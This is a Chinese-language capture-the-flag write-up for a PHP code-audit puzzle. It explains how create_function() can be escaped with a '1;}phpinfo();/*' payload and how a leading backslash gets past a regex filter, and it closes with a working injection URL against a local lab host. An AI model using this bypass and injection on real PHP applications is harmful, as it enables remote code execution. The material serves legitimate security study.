code-breaking puzzles 代码审计easy-function题解

Report 代码审计

0x01:关于create_function的命令执行

首先要知道该函数可以动态创建新的函数,举个实例:

<?php
    $testfunc = create_function("", "echo 233;");
    echo $testfunc();
?>

第一行创建函数,第二行再调用该函数,创建的函数只有被调用时才会运行,create_function()自身不会运行创建的函数,那怎样在不调用函数的情况实现命令执行呢?回头看上一段代码,$code 变量用于控制函数的执行内容,在 $code 可控并且过滤不严的情况下,我们可以闭合定义动态函数,跳出去直接执行其他代码,比如:

<?php
    $testfunc = create_function("", "1;}phpinfo();/*");
?>

 

0x02:PHP 的命名空间

phithon 在知识星球提到 PHP 调用函数,直接写函数名相当于调用的相对路径,而如果在函数名前加 \ 调用的就是绝对路径。也就是说在调用函数时,有两种方式:

<?php
    function test_function($args){
        echo "This is ".$args."<br>";
    }
    test_function("relative function");
    \test_function("absolute function");
?>

 

0x03:easy-function题解

知道了这道题的两个考点,再看下这道题就容易很多了:

<?php
    $action = $_GET['action'];
    $arg = $_GET['arg'];

    if(preg_match('/^[a-z0-9_]*$/isD', $action)){
        show_source(__FILE__);
    } else{
        $action('', $arg);
    }
?>

第八行的语句很明显是创建一个动态函数,但第五行的正则规则不允许直接调用 create_function() ,因此我们可以用绝对路径调用它,再逃逸出该函数执行恶意代码,最终payload如下:

http://127.0.0.1/easy_function.php?action=\create_function&arg=1;}phpinfo();/*